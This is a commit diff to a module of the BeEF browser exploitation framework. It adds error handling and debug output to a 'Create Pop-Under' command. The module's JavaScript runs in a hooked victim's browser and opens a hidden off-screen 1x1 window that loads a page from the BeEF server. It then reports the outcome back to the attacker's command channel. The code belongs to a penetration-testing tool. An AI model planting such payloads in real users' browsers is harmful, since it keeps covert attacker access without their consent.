Add error handling, more output and debug output

This commit is contained in:
Brendan Coles
2016-01-13 22:05:48 +00:00
parent e252fa51c5
commit f3f04a50ca

View File

@@ -5,12 +5,16 @@
//
beef.execute(function() {
var result = "Pop-under window successfully created!";
window.open(beef.net.httpproto + '://' + beef.net.host + ':' + beef.net.port + '/demos/plain.html','popunder','toolbar=0,location=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=0,width=1,height=1,left='+screen.width+',top='+screen.height+'').blur();
window.focus();
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result='+result);
var popunder_url = beef.net.httpproto + '://' + beef.net.host + ':' + beef.net.port + '/demos/plain.html';
var popunder_name = Math.random().toString(36).substring(2,10);
beef.debug("[Create Pop-Under] Creating window '" + popunder_name + "' for '" + popunder_url + "'");
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Pop-under window requested');
try {
window.open(popunder_url,popunder_name,'toolbar=0,location=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=0,width=1,height=1,left='+screen.width+',top='+screen.height+'').blur();
window.focus();
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Pop-under window successfully created!', beef.are.status_success());
} catch(e) {
beef.debug("[Create Pop-Under] Could not create pop-under window");
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Pop-under window was not created', beef.are.status_error());
}
});